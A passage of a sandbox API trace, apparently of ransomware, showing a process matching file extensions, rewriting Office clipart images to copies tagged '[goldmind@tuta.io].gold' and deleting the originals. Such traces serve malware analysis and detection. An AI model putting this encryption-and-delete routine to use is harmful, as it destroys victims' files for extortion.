(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.416] lstrlenW (lpString=".doc") returned 4 [0102.416] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.416] lstrlenW (lpString=".docx") returned 5 [0102.416] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0102.416] lstrlenW (lpString=".pdf") returned 4 [0102.416] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.416] lstrlenW (lpString=".xls") returned 4 [0102.416] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.416] lstrlenW (lpString=".xlsx") returned 5 [0102.416] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0102.416] lstrlenW (lpString=".ppt") returned 4 [0102.416] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.416] lstrlenW (lpString=".zip") returned 4 [0102.416] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.416] lstrlenW (lpString=".rar") returned 4 [0102.416] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.416] lstrlenW (lpString=".bz2") returned 4 [0102.416] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.416] lstrlenW (lpString=".7z") returned 3 [0102.416] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.416] lstrlenW (lpString=".dbf") returned 4 [0102.416] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.416] lstrlenW (lpString=".1cd") returned 4 [0102.416] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString=".jpg") returned 4 [0102.417] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString=".doc") returned 4 [0102.417] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.417] lstrlenW (lpString=".docx") returned 5 [0102.417] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0102.417] lstrlenW (lpString=".pdf") returned 4 [0102.417] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.417] lstrlenW (lpString=".xls") returned 4 [0102.417] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.417] lstrlenW (lpString=".xlsx") returned 5 [0102.417] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0102.417] lstrlenW (lpString=".ppt") returned 4 [0102.417] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString=".zip") returned 4 [0102.417] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.417] lstrlenW (lpString=".rar") returned 4 [0102.417] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.417] lstrlenW (lpString=".bz2") returned 4 [0102.417] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.417] lstrlenW (lpString=".7z") returned 3 [0102.417] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString=".dbf") returned 4 [0102.417] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString=".1cd") returned 4 [0102.417] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.417] lstrlenW (lpString=".jpg") returned 4 [0102.417] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.417] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.417] lstrlenW (lpString="J0099190.JPG") returned 12 [0102.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.418] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=43892) returned 1 [0102.418] CloseHandle (hObject=0x230) returned 1 [0102.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0102.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.419] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.419] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.422] GetLastError () returned 0x0 [0102.422] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xab74, lpOverlapped=0x0) returned 1 [0102.424] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xab80, lpOverlapped=0x0) returned 1 [0102.425] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.425] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.425] SetEndOfFile (hFile=0x39c) returned 1 [0102.426] CloseHandle (hObject=0x39c) returned 1 [0102.426] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.426] SetEndOfFile (hFile=0x230) returned 1 [0102.428] CloseHandle (hObject=0x230) returned 1 [0102.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0102.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.428] lstrlenW (lpString=".doc") returned 4 [0102.428] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.428] lstrlenW (lpString=".docx") returned 5 [0102.429] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0102.429] lstrlenW (lpString=".pdf") returned 4 [0102.429] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString=".xls") returned 4 [0102.429] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString=".xlsx") returned 5 [0102.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0102.429] lstrlenW (lpString=".ppt") returned 4 [0102.429] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString=".zip") returned 4 [0102.429] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString=".rar") returned 4 [0102.429] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString=".bz2") returned 4 [0102.429] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.429] lstrlenW (lpString=".7z") returned 3 [0102.429] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString=".dbf") returned 4 [0102.429] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString=".1cd") returned 4 [0102.429] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString=".jpg") returned 4 [0102.429] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString=".doc") returned 4 [0102.429] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.429] lstrlenW (lpString=".docx") returned 5 [0102.429] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0102.429] lstrlenW (lpString=".pdf") returned 4 [0102.429] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString=".xls") returned 4 [0102.429] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString=".xlsx") returned 5 [0102.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0102.429] lstrlenW (lpString=".ppt") returned 4 [0102.429] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.429] lstrlenW (lpString=".zip") returned 4 [0102.429] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.430] lstrlenW (lpString=".rar") returned 4 [0102.430] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.430] lstrlenW (lpString=".bz2") returned 4 [0102.430] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.430] lstrlenW (lpString=".7z") returned 3 [0102.430] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.430] lstrlenW (lpString=".dbf") returned 4 [0102.430] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.430] lstrlenW (lpString=".1cd") returned 4 [0102.430] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0102.430] lstrlenW (lpString=".jpg") returned 4 [0102.430] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.430] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.430] lstrlenW (lpString="J0099191.JPG") returned 12 [0102.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.430] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=62367) returned 1 [0102.430] CloseHandle (hObject=0x230) returned 1 [0102.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0102.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.431] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.431] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.435] GetLastError () returned 0x0 [0102.435] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xf39f, lpOverlapped=0x0) returned 1 [0102.437] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf3a0, lpOverlapped=0x0) returned 1 [0102.438] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.438] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.438] SetEndOfFile (hFile=0x39c) returned 1 [0102.438] CloseHandle (hObject=0x39c) returned 1 [0102.439] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.439] SetEndOfFile (hFile=0x230) returned 1 [0102.441] CloseHandle (hObject=0x230) returned 1 [0102.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.442] lstrlenW (lpString=".doc") returned 4 [0102.442] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.442] lstrlenW (lpString=".docx") returned 5 [0102.442] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0102.442] lstrlenW (lpString=".pdf") returned 4 [0102.442] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.442] lstrlenW (lpString=".xls") returned 4 [0102.442] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.442] lstrlenW (lpString=".xlsx") returned 5 [0102.442] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0102.442] lstrlenW (lpString=".ppt") returned 4 [0102.442] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.442] lstrlenW (lpString=".zip") returned 4 [0102.442] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.442] lstrlenW (lpString=".rar") returned 4 [0102.442] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.442] lstrlenW (lpString=".bz2") returned 4 [0102.442] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.442] lstrlenW (lpString=".7z") returned 3 [0102.442] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.442] lstrlenW (lpString=".dbf") returned 4 [0102.442] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".1cd") returned 4 [0102.443] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".jpg") returned 4 [0102.443] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".doc") returned 4 [0102.443] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.443] lstrlenW (lpString=".docx") returned 5 [0102.443] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0102.443] lstrlenW (lpString=".pdf") returned 4 [0102.443] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.443] lstrlenW (lpString=".xls") returned 4 [0102.443] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.443] lstrlenW (lpString=".xlsx") returned 5 [0102.443] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0102.443] lstrlenW (lpString=".ppt") returned 4 [0102.443] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".zip") returned 4 [0102.443] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.443] lstrlenW (lpString=".rar") returned 4 [0102.443] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.443] lstrlenW (lpString=".bz2") returned 4 [0102.443] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.443] lstrlenW (lpString=".7z") returned 3 [0102.443] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".dbf") returned 4 [0102.443] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".1cd") returned 4 [0102.443] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0102.443] lstrlenW (lpString=".jpg") returned 4 [0102.443] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.443] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.443] lstrlenW (lpString="J0099192.GIF") returned 12 [0102.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.444] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17964) returned 1 [0102.444] CloseHandle (hObject=0x230) returned 1 [0102.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0102.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.445] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.445] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.445] GetLastError () returned 0x0 [0102.445] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x462c, lpOverlapped=0x0) returned 1 [0102.447] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0102.448] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.448] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.448] SetEndOfFile (hFile=0x39c) returned 1 [0102.448] CloseHandle (hObject=0x39c) returned 1 [0102.448] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.448] SetEndOfFile (hFile=0x230) returned 1 [0102.450] CloseHandle (hObject=0x230) returned 1 [0102.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0102.451] lstrlenW (lpString=".doc") returned 4 [0102.451] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.451] lstrlenW (lpString=".docx") returned 5 [0102.451] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0102.451] lstrlenW (lpString=".pdf") returned 4 [0102.451] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString=".xls") returned 4 [0102.451] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString=".xlsx") returned 5 [0102.451] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0102.451] lstrlenW (lpString=".ppt") returned 4 [0102.451] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.451] lstrlenW (lpString="C:\\Program Files\\Microsoft 